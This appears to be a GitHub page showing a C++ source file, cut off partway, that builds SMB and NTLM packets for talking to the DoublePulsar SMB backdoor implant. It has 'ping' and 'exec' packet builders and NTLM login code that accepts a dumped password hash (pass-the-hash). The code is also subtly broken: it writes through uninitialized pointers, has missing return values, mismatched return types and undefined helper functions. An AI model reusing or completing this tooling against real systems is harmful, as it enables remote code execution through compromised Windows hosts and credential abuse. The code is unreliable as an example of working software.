-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathDoublePulsarCPP.cpp
1302 lines (1102 loc) · 39.6 KB
/
DoublePulsarCPP.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <winsock.h>
#include <assert.h>
#pragma comment(lib,"ws2_32.lib")
typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;
#define uchar unsigned char
#define CONNECT_TIMEOUT 10
#define SMBWAITTIMEOUT 5
#define GetNTLMPacketFromSmbPacket(a) ((char*)a+0x2b+4)
#define GetNTLMPacket3FromSmbPacket(a) ((char*)a+ sizeof(smheader) -sizeof(((smheader*)a)->buffer) +sizeof(SessionSetupAndX))
#define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF))
//#define SREV htonl
/* some switch macros that do both store and read to and from SMB buffers */
#define RW_PCVAL(read,inbuf,outbuf,len) \
{ if (read) { PCVAL (inbuf,0,outbuf,len); } \
else { PSCVAL(inbuf,0,outbuf,len); } }
#define RW_PIVAL(read,big_endian,inbuf,outbuf,len) \
{ if (read) { if (big_endian) { RPIVAL(inbuf,0,outbuf,len); } else { PIVAL(inbuf,0,outbuf,len); } } \
else { if (big_endian) { RPSIVAL(inbuf,0,outbuf,len); } else { PSIVAL(inbuf,0,outbuf,len); } } }
#define RW_PSVAL(read,big_endian,inbuf,outbuf,len) \
{ if (read) { if (big_endian) { RPSVAL(inbuf,0,outbuf,len); } else { PSVAL(inbuf,0,outbuf,len); } } \
else { if (big_endian) { RPSSVAL(inbuf,0,outbuf,len); } else { PSSVAL(inbuf,0,outbuf,len); } } }
#define RW_CVAL(read, inbuf, outbuf, offset) \
{ if (read) { (outbuf) = CVAL (inbuf,offset); } \
else { SCVAL(inbuf,offset,outbuf); } }
#define RW_IVAL(read, big_endian, inbuf, outbuf, offset) \
{ if (read) { (outbuf) = ((big_endian) ? RIVAL(inbuf,offset) : IVAL (inbuf,offset)); } \
else { if (big_endian) { RSIVAL(inbuf,offset,outbuf); } else { SIVAL(inbuf,offset,outbuf); } } }
#define RW_SVAL(read, big_endian, inbuf, outbuf, offset) \
{ if (read) { (outbuf) = ((big_endian) ? RSVAL(inbuf,offset) : SVAL (inbuf,offset)); } \
else { if (big_endian) { RSSVAL(inbuf,offset,outbuf); } else { SSVAL(inbuf,offset,outbuf); } } }
#undef CAREFUL_ALIGNMENT
/* we know that the 386 can handle misalignment and has the "right"
byteorder */
#ifdef __i386__
#define CAREFUL_ALIGNMENT 0
#endif
#ifndef CAREFUL_ALIGNMENT
#define CAREFUL_ALIGNMENT 1
#endif
#define CVAL(buf,pos) (((unsigned char *)(buf))[pos])
#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos))
#define SCVAL(buf,pos,val) (CVAL(buf,pos) = (val))
#if CAREFUL_ALIGNMENT
#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8)
#define IVAL(buf,pos) (SVAL(buf,pos)|SVAL(buf,(pos)+2)<<16)
#define SSVALX(buf,pos,val) (CVAL(buf,pos)=(val)&0xFF,CVAL(buf,pos+1)=(val)>>8)
#define SIVALX(buf,pos,val) (SSVALX(buf,pos,val&0xFFFF),SSVALX(buf,pos+2,val>>16))
#define SVALS(buf,pos) ((int16)SVAL(buf,pos))
#define IVALS(buf,pos) ((int32)IVAL(buf,pos))
#define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16)(val)))
#define SIVAL(buf,pos,val) SIVALX((buf),(pos),((uint32)(val)))
#define SSVALS(buf,pos,val) SSVALX((buf),(pos),((int16)(val)))
#define SIVALS(buf,pos,val) SIVALX((buf),(pos),((int32)(val)))
#else /* CAREFUL_ALIGNMENT */
/* this handles things for architectures like the 386 that can handle
alignment errors */
/*
WARNING: This section is dependent on the length of int16 and int32
being correct
*/
/* get single value from an SMB buffer */
#define SVAL(buf,pos) (*(uint16 *)((char *)(buf) + (pos)))
#define IVAL(buf,pos) (*(uint32 *)((char *)(buf) + (pos)))
#define SVALS(buf,pos) (*(int16 *)((char *)(buf) + (pos)))
#define IVALS(buf,pos) (*(int32 *)((char *)(buf) + (pos)))
/* store single value in an SMB buffer */
#define SSVAL(buf,pos,val) SVAL(buf,pos)=((uint16)(val))
#define SIVAL(buf,pos,val) IVAL(buf,pos)=((uint32)(val))
#define SSVALS(buf,pos,val) SVALS(buf,pos)=((int16)(val))
#define SIVALS(buf,pos,val) IVALS(buf,pos)=((int32)(val))
#endif /* CAREFUL_ALIGNMENT */
//from SMBrelay.h
#define SmbPacketLen(a) (SREV(a->SmbMessageLength)+4)
//from smb.h
#define SMBPACKETLEN(x) ((x->SmbMessageLength) +4 )
#define SmbLength(ptr) (((ptr)->buffer - (uint8*)(ptr)) + (ptr)->bufIndex)
#define WORD unsigned short
#define NEGOTIATEPROTOCOLREQUEST 0x72
#define SESSIONSETUPANDX 0x73
#define SESSIONLOGOFF 0x74
#define TREECONNETANDX 0x75
#define SMBCLOSE 0x04
#define SMB_COM_OPEN 0x02
#define SMB_COM_TREE_CONNECT 0x70
#define SMB_COM_TREE_DISCONNECT 0x71
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_LOGOFF_ANDX 0x74
#define SMB_COM_TREE_CONNECT_ANDX 0x75
#define SMB_COM_TRANSACTION2 0x32
#define SMB_COM_TRANS2 0x32
#define SMB_COM_TRANSACTION2_SECONDARY 0x33
#define SMB_COM_TRANS2_SECONDARY 0x33
//SESSIONSETUPANDX Subcommands
#define CONTINUERESPONSE 1
#define ERRORRESPONSE 2
#pragma pack(1)
typedef struct {
uint16 SmbMessageType; //0x00
uint16 SmbMessageLength;
uint8 ProtocolHeader[4]; //"\xffSMB"
uint8 SmbCommand;
uint32 NtStatus; //0x00000000
uint8 flags; //0x18 - pathnames not case sensitive & pathnames canonicalized
uint16 flags2; //0xC001 (Unicode & Nt error types & longfilename support
uint16 ProcessIDHigh; //0x00
uint8 signature[8]; //0x00000000000
uint16 reserved; //0x0000
uint16 TreeId;
uint16 ProccessID; //0xfeff
uint16 UserID;
uint16 multipleID; //Incremental 64bytes en cada request.
char buffer[16384]; // Custom SmbCommand data
} smheader;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 MaxBuffer;
uint16 MaxMpxCount;
uint16 VcNumber; //0x0000
uint32 SessionKey; //0x00000000
uint16 SecurityBloblength;
uint32 reserved3; //0x00000000
uint32 capabilities; //0x200000D4
uint16 ByteCount;
} SessionSetupAndX;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 Action;
uint16 SecurityBloblength;
uint16 ByteCount;
// uint8 padding;
} SessionSetupAndXResponse;
/*
typedef struct {
uint8 BufferFormat;
char Name[256];
} DIALECT;
*/
typedef struct {
uint8 BufferFormat;
char* Name;
} DIALECT;
typedef struct
{
uint16 len;
uint16 maxlen;
uint32 offset;
}tSmbStrHeader;
typedef struct
{
char ident[8];
uint32 msgType;
uint32 flags;
tSmbStrHeader host;
tSmbStrHeader domain;
uint8 buffer[1024];
uint32 bufIndex;
}tSmbNtlmAuthRequest;
typedef struct {
uint8 WordCount;
uint16 ByteCount;
// DIALECT *Dialects;
char* Dialects;
} NegotiateProtocolRequest;
typedef struct {
uint8 WordCount; //Number of parameters in this struct
uint16 DialecIndex;
uint8 SecurityMode;
uint16 MaxMxpCount;
uint16 MaxVcs;
uint32 MaxBufferSize;
uint32 MaxRawBuffer;
uint32 SessionKey;
uint32 Capabilities;
//uint64 ServerTime;
uint8 ServerTime[8];
uint16 ServerTimeZone;
uint8 KeyLength;
uint16 ByteCount;
uint8 ServerGuid[16];
} NegotiateProtocolResponse;
typedef struct {
uint8 WordCount;
uint8 AndXCommand; //0xff no further command
uint8 reserved2; //0x00
uint16 AndXOffset;
uint16 flags;
uint16 PasswordLen; //Set to 0x01
uint16 ByteCount;
uint8 Password; //Set to 0x00
//resource
//service ????\0
} TreeConnectAndX;
typedef struct {
uint8 WordCount;
uint16 ByteCount;
} TreeConnectAndXResponse;
typedef struct {
uint8 WordCount; //0x24
uint16 FID; //0xff no further command
uint32 LastWrite;
uint16 ByteCount;
} CLOSE;
/*
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function;
uint16 FID;
uint16 ByteCount;
uint8 padding;
uint8 TransactionName[14];
uint16 padding2;
} SMB_COM_TRANSACTION_STRUCT; */
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function; //0x000e
//uint16 FID;
uint16 ByteCount;
uint8 padding;
//uint8 TransactionName[14];
uint16 padding2;
uint8 parameters[12];
uint8 SMBData[4096];
} SMB_COM_TRANS2_STRUCT;
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function; //0x000e
//uint16 FID;
uint16 ByteCount;
uint8 padding;
//uint8 TransactionName[14];
uint16 padding2;
uint8 parameters[12];
uint8 SMBData[4096];
} SMB_COM_TRANSACTION_STRUCT;
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function; //0x000e
//uint16 FID;
uint16 ByteCount;
uint8 padding;
//uint8 TransactionName[14];
uint16 padding2;
uint8 parameters[12];
} SMB_COM_TRANS2_DOUBLEPULSAR_PING_STRUCT;
typedef struct {
uint8 WordCount;
uint16 TotalParameterCount;
uint16 TotalDataCount;
uint16 MaxParameterCount;
uint16 MaxDataCount;
uint8 MaxSetupCount;
uint8 reserved;
uint16 flags;
uint32 timeout; //0x00000000
uint16 reserved2;
uint16 ParameterCount;
uint16 ParameterOffset;
uint16 DataCount;
uint16 DataOffset;
uint8 SetupCount;
uint8 reserved3;
uint16 Function; //0x000e
//uint16 FID;
uint16 ByteCount;
uint8 padding;
//uint8 TransactionName[14];
uint16 padding2;
uint8 parameters[12];
uint8 SMBData[4096];
} SMB_COM_TRANS2_DOUBLEPULSAR_EXEC_STRUCT;
typedef struct
{
char ident[8];
uint32 msgType;
tSmbStrHeader uDomain;
uint32 flags;
uint8 challengeData[8];
uint8 reserved[8];
tSmbStrHeader emptyString;
uint8 buffer[16384];
//uint32 bufIndex;
}tSmbNtlmAuthChallenge;
typedef struct
{
SOCKET source;
struct sockaddr_in sourceaddr;
SOCKET destination;
struct sockaddr_in destinationaddr;
int dstProtocol;
char hostname[256];
} RELAY;
typedef struct
{
char ident[8];
uint32 msgType;
tSmbStrHeader lmResponse;
tSmbStrHeader ntResponse;
tSmbStrHeader uDomain;
tSmbStrHeader uUser;
tSmbStrHeader uWks;
tSmbStrHeader sessionKey;
uint32 flags;
uint8 buffer[1024];
uint32 bufIndex;
} tSmbNtlmAuthResponse;
static unsigned char* strToUnicode(char* p)
{
static unsigned char buf[16384];
size_t l = strlen(p);
int i = 0;
assert(l * 2 < sizeof buf);
while (l--)
{
buf[i++] = *p++;
buf[i++] = 0;
}
return buf;
}
static char* unicodeToString(char* p, size_t len)
{
int i;
static char buf[16384];
assert(len + 1 < sizeof buf);
for (i = 0; i < (signed int)len; ++i)
{
buf[i] = *p & 0x7f;
p += 2;
}
buf[i] = '\0';
return buf;
}
#define GetUnicodeString(structPtr, header) \
unicodeToString(((char*)structPtr) + IVAL(&structPtr->header.offset,0) , SVAL(&structPtr->header.len,0)/2)
#define GetString(structPtr, header) \
toString((((char *)structPtr) + IVAL(&structPtr->header.offset,0)), SVAL(&structPtr->header.len,0))
#define AddBytes(ptr, header, buf, count) \
{ \
if (buf && count) \
{ \
SSVAL(&ptr->header.len,0,count); \
SSVAL(&ptr->header.maxlen,0,count); \
SIVAL(&ptr->header.offset,0,((ptr->buffer - ((uint8*)ptr)) + ptr->bufIndex)); \
memcpy(ptr->buffer+ptr->bufIndex, buf, count); \
ptr->bufIndex += count; \
} \
else \
{ \
ptr->header.len = \
ptr->header.maxlen = 0; \
SIVAL(&ptr->header.offset,0,ptr->bufIndex); \
} \
}
#define AddString(ptr, header, string) \
{ \
char *p = string; \
int len = 0; \
if (p) len = strlen(p); \
AddBytes(ptr, header, ((unsigned char*)p), len); \
}
#define AddUnicodeString(ptr, header, string) \
{ \
char *p = string; \
unsigned char *b = NULL; \
int len = 0; \
if (p) \
{ \
len = strlen(p); \
b = strToUnicode(p); \
} \
AddBytes(ptr, header, b, len*2); \
}
//defines
//Build SMB Packet
smheader* BuildSmbPacket(smheader* PreviousSmbMessage, uint8 SmbCommand, uint8 SubCommand, void* data, int DataSize);
//Tree Connect
int BuildTreeConnectAndXStub(char* destination, char* password, char* resource, char* service);
//SMB Negotiation
//char* AddDialect(char* data, char* name, uint8 type, int* PacketSize);
char* AddDialect(char* data, char* name, uint8 type, int* PacketSize) {
if (!data) {
*PacketSize = 0;
data = (char*)malloc(strlen(name) + 2);
}
else {
data = (char*)realloc(data, *PacketSize + 2 + strlen(name));
}
//printf("PacketSize vale: %i\n",*PacketSize);
data[*PacketSize] = type;
strcpy((char*)&data[*PacketSize + 1], name);
*PacketSize += 2 + strlen(name);
return(data);
}
void buildAuthResponse(tSmbNtlmAuthChallenge* challenge, tSmbNtlmAuthResponse* response, long flags, char* user, char* password, char* domainname, char* host, tSmbNtlmAuthResponse* OptionalNtlmPacket3)
{
//TODO: AÑADIR FLAGS!
uint8 lmRespData[24];
uint8 ntRespData[24];
char* u = _strdup(user);
char* p = strchr(u, '@');
char* w = NULL;
char* d = _strdup(GetUnicodeString(challenge, uDomain));
char* domain = d;
if ((domainname != NULL) && (strlen(domainname) > 0)) domain = domainname;
if (host == NULL) host = "";
w = _strdup(host);
if (p)
{
domain = p + 1;
*p = '\0';
}
else {
p = strchr(u, '\\');
if (p) {
domain = u;
u = _strdup(p + 1);
p[0] = '\0';
}
}
//if (!domain) domain="";
if (OptionalNtlmPacket3 == NULL) {
if (*password != ':')
{
//Create New LM and ntLM network Hash from password
SMBencrypt((uchar*)password, challenge->challengeData, lmRespData);
SMBNTencrypt((uchar*)password, challenge->challengeData, ntRespData);
}
else {
//create LM and ntLM network Hash from pwdump NTLM Hash
unsigned char hash[21];
int i;
char n, tmp[3];
tmp[2] = '\0';
for (i = 0; i < 16; i++) {
memcpy(tmp, password + i * 2 + 1, 2);
hash[i] = n = strtol(tmp, 0, 16);
}
memset(hash + 16, 0, 5);
SMBOWFencrypt((unsigned char*)hash, challenge->challengeData, ntRespData);
memcpy(lmRespData, ntRespData, sizeof(ntRespData));
}
}
else {
#define ChallengeHash( structPtr, header) ((unsigned char*)structPtr)+IVAL(&structPtr->header.offset,0)
memcpy(lmRespData, ChallengeHash(OptionalNtlmPacket3, lmResponse), sizeof(lmRespData));
//HACK to avoid NTLMv2
if (OptionalNtlmPacket3->ntResponse.len > 24) {
printf("\n\nWARNING NTLMV2 packet\n\n");
memcpy(ntRespData, ChallengeHash(OptionalNtlmPacket3, lmResponse), sizeof(ntRespData));
}
else {
memcpy(ntRespData, ChallengeHash(OptionalNtlmPacket3, ntResponse), sizeof(ntRespData));
//memcpy(ntRespData,(char*)OptionalNtlmPacket3 + OptionalNtlmPacket3->ntResponse.offset,sizeof(ntRespData) );//
}
}
response->bufIndex = 0;
memcpy((char*)response->ident, "NTLMSSP\0\0\0", 8);
SIVAL(&response->msgType, 0, 3);
AddBytes(response, lmResponse, lmRespData, 24);
AddBytes(response, ntResponse, ntRespData, 24);
AddUnicodeString(response, uDomain, domain);
AddUnicodeString(response, uUser, u);
AddUnicodeString(response, uWks, w);
AddString(response, sessionKey, NULL);
if (flags != 0) challenge->flags = flags; /* Overide flags! */
else response->flags = 0x0000b207;
if (d) free(d);
if (u) free(u);
}
void BuildAuthRequest(tSmbNtlmAuthRequest* request, long flags, char* host, char* domain)
{
char* h = NULL;//strdup(host);
char* p = NULL;//strchr(h,'@');
//TODO: review default flags
if (host == NULL) host = "";
if (domain == NULL) domain = "";
h = _strdup(host);
p = strchr(h, '@');
if (p)
{
if (!domain)
domain = p + 1;
*p = '\0';
}
if (flags == 0) flags = 0x0000b207; /* Lowest security options to avoid negotiation */
request->bufIndex = 0;
memcpy(request->ident, "NTLMSSP\0\0\0", 8);
SIVAL(&request->msgType, 0, 1);
SIVAL(&request->flags, 0, flags);
assert(strlen(host) < 128);
AddString(request, host, h);
assert(strlen(domain) < 128);
AddString(request, domain, domain);
free(h);
}
void Widetochar(char* destination, char* source, int len)
{
int i;
for (i = 0; i < len / 2; i++)
{
destination[i] = (char)source[i * 2];
if (destination[i] == '\0') return;
}
destination[i] = '\0';
}
void chartoWide(char* destination, char* source, int len)
{
int i;
for (i = 0; i < len; i++)
{
destination[i * 2] = (char)source[i];
}
}
smheader* buildDoublePulsarPingPacket(smheader* PreviousSmbMessage)
{
SMB_COM_TRANSACTION_STRUCT* TransRequest;
smheader* NewSmbPacket;
TransRequest = (SMB_COM_TRANSACTION_STRUCT*)malloc(sizeof(SMB_COM_TRANSACTION_STRUCT));
memset((char*)TransRequest, '\0', sizeof(SMB_COM_TRANSACTION_STRUCT));
NewSmbPacket->TreeId = ((smheader*)PreviousSmbMessage)->TreeId;
TransRequest->WordCount = 16;
TransRequest->TotalParameterCount = 0;
TransRequest->MaxDataCount = 1024;
TransRequest->MaxParameterCount = 0;
TransRequest->MaxSetupCount = 0;
TransRequest->reserved = 0;
TransRequest->flags = 0;
TransRequest->timeout = 0x00000000;
TransRequest->reserved2 = 0;
TransRequest->ParameterCount = 0;
TransRequest->ParameterOffset = 84;
TransRequest->DataOffset = 84;
TransRequest->SetupCount = 2;
TransRequest->reserved3 = 0;
TransRequest->Function = 0x33;
TransRequest->padding = 0;
TransRequest->padding2 = 0;
int parameters = 12;
int DataSize = 4096; //dynamic based on sizeof(payload)
NewSmbPacket->SmbMessageLength = (uint16)SREV(sizeof(smheader) - sizeof(NewSmbPacket->buffer) + sizeof(SMB_COM_TRANS2_STRUCT) + sizeof(parameters) + DataSize - 4);
TransRequest->TotalDataCount = (uint16)sizeof(parameters) + DataSize;
TransRequest->DataCount = TransRequest->TotalDataCount;
TransRequest->ByteCount = TransRequest->TotalDataCount + 12;
memcpy(NewSmbPacket->buffer, (char*)TransRequest, sizeof(SMB_COM_TRANSACTION_STRUCT));
//memcpy(NewSmbPacket->buffer + sizeof(SMB_COM_TRANSACTION_STRUCT), (char*)dcerpc, sizeof(DceRpcRequest));
//memcpy(NewSmbPacket->buffer + sizeof(SMB_COM_TRANSACTION_STRUCT) + sizeof(DceRpcRequest), (char*)data, DataSize);
free(TransRequest);
}
smheader buildDoublePulsarExecPacket(smheader* PreviousSmbMessage)
{
SMB_COM_TRANSACTION_STRUCT *TransRequest;
smheader* NewSmbPacket;
TransRequest = (SMB_COM_TRANSACTION_STRUCT*)malloc(sizeof(SMB_COM_TRANSACTION_STRUCT));
memset((char*)TransRequest, '\0', sizeof(SMB_COM_TRANSACTION_STRUCT));
NewSmbPacket->TreeId = ((smheader*)PreviousSmbMessage)->TreeId;
TransRequest->WordCount = 16;
TransRequest->TotalParameterCount = 0;
TransRequest->MaxDataCount = 1024;
TransRequest->MaxParameterCount = 0;
TransRequest->MaxSetupCount = 0;
TransRequest->reserved = 0;
TransRequest->flags = 0;
TransRequest->timeout = 0x00000000;
TransRequest->reserved2 = 0;
TransRequest->ParameterCount = 0;
TransRequest->ParameterOffset = 84;
TransRequest->DataOffset = 84;
TransRequest->SetupCount = 2;
TransRequest->reserved3 = 0;
TransRequest->Function = 0x33;
TransRequest->padding = 0;
TransRequest->padding2 = 0;
int parameters = 12;
int DataSize = 4096;
NewSmbPacket->SmbMessageLength = (uint16)SREV(sizeof(smheader) - sizeof(NewSmbPacket->buffer) + sizeof(SMB_COM_TRANS2_STRUCT) + sizeof(parameters) + DataSize - 4);
TransRequest->TotalDataCount = (uint16)sizeof(parameters) + DataSize;
TransRequest->DataCount = TransRequest->TotalDataCount;
TransRequest->ByteCount = TransRequest->TotalDataCount + 12;
memcpy(NewSmbPacket->buffer, (char*)TransRequest, sizeof(SMB_COM_TRANSACTION_STRUCT));
//memcpy(NewSmbPacket->buffer + sizeof(SMB_COM_TRANSACTION_STRUCT), (char*)dcerpc, sizeof(DceRpcRequest));
//memcpy(NewSmbPacket->buffer + sizeof(SMB_COM_TRANSACTION_STRUCT) + sizeof(DceRpcRequest), (char*)data, DataSize);
free(TransRequest);
}
int BuildTreeConnectAndXStub(char* destination, char* password, char* resource, char* service)
{
TreeConnectAndX* message = (TreeConnectAndX*)destination;
smheader* foo;
message->WordCount = (uint16)4;
message->AndXCommand = 0xff;
message->reserved2 = 0;
message->AndXOffset = sizeof(TreeConnectAndX) + strlen(password) + strlen(service) + 1 + (strlen((char*)resource) + 1) * sizeof(WCHAR) + sizeof(smheader) - sizeof(foo->buffer) - 4;
message->flags = 0x8;
message->PasswordLen = strlen(password) + 1;
message->ByteCount = (strlen(resource) + 1) * sizeof(WCHAR) + message->PasswordLen + strlen(service) + 1;
memcpy((char*)&message->Password, password, message->PasswordLen);
chartoWide((char*)&message->Password + message->PasswordLen, (char*)resource, (int)strlen((char*)resource) + 1);
memcpy(destination + sizeof(TreeConnectAndX) + (strlen((char*)resource) + 1) * sizeof(WCHAR), service, strlen(service) + 1);//"\x3f\x3f\x3f\x3f\x3f\x00",6);
return(sizeof(TreeConnectAndX) + strlen(password) + strlen(service) + 1 + (strlen((char*)resource) + 1) * sizeof(WCHAR));
}
int SendBytesAndWaitForResponse(SOCKET destination, char* source, int nBytes, char* destinationBuffer, int MaxReadSize, int timeout)
{
int i = -1;
#ifdef WIN32
u_long tmp = 1;
#else
int tmp = 1;
#endif
fd_set fds;
struct timeval tv;
// if (send(destination, source, nBytes,0) >0) {
if (timeout > 0)
{
#ifdef WIN32
ioctlsocket(destination, FIONBIO, &tmp);
#else
ioctl(destination, FIONBIO, (char*)&tmp);
#endif
send(destination, source, nBytes, 0);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(destination, &fds);
//printf("Esperando Timeout: %i\n",timeout);
i = select((int)destination + 1, &fds, 0, 0, &tv);
//printf("saliendo select: %i\n",i);
if (i <= 0) return(-1);
}
else {
send(destination, source, nBytes, 0);
}
i = recv(destination, (char*)destinationBuffer, MaxReadSize, 0);
if (timeout > 0)
{
tmp = 0;
#ifdef WIN32
ioctlsocket(destination, FIONBIO, &tmp);
#else
ioctl(destination, FIONBIO, (char*)&tmp);
#endif
}
return(i);
}
smheader* BuildSmbPacket1(void)
{
char buf2[4096];
smheader* SmbPacket1;
memset((char*)buf2, '\0', sizeof(buf2));
BuildAuthRequest((tSmbNtlmAuthRequest*)buf2, 0, NULL, NULL);
#ifdef _DBG_
DumpMem((char*)buf2, SmbLength((tSmbNtlmAuthRequest*)buf2));
#endif
SmbPacket1 = BuildSmbPacket((smheader*)NULL, SESSIONSETUPANDX, 0, buf2, 40);
return(SmbPacket1);
}
/*********************************************/
smheader GetSmbPacket2(RELAY* relay, smheader* Packet1)
{
char* buffer = (char*)malloc(4096);
int i;
i = SendBytesAndWaitForResponse(relay->destination, (char*)Packet1, SmbPacketLen(Packet1), buffer, 4096, SMBWAITTIMEOUT);
if (i > 0) {
return((smheader*)buffer);
}
return(NULL);
}
/*********************************************/
smheader* GetSmbPacket3(smheader* SmbPacket2, char* lpUserName, char* lpPassword, char* domainname, char* host, tSmbNtlmAuthResponse* OptionalNtlmPacket3)
{
char buf2[16384];
smheader* SmbPacket3;
memset((char*)buf2, '\0', sizeof(buf2));
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2), (tSmbNtlmAuthResponse*)buf2, 0, lpUserName, lpPassword, domainname, host, OptionalNtlmPacket3);
//DumpMem((void*)buf2,sizeof(tSmbNtlmAuthResponse));
SmbPacket3 = BuildSmbPacket((smheader*)SmbPacket2, SESSIONSETUPANDX, 0, buf2, (int)SmbLength((tSmbNtlmAuthResponse*)buf2));
return(SmbPacket3);
}
smheader* BuildSmbPacket(smheader* PreviousSmbMessage, uint8 SmbCommand, uint8 SubCommand, void* data, int DataSize)
{
smheader* NewSmbPacket;
WCHAR tail1[18];
WCHAR tail2[17];
//Parameters Supported:
SessionSetupAndX* SessionSetupAndXMessage;
SessionSetupAndXResponse* SessionSetupAndXResponseMessage;
//TreeConnectAndX *TreeConnectAndXMessage;
SMB_COM_TRANS2_STRUCT *Trans2;
CLOSE* CloseMessage;
uint16 MultipleID;
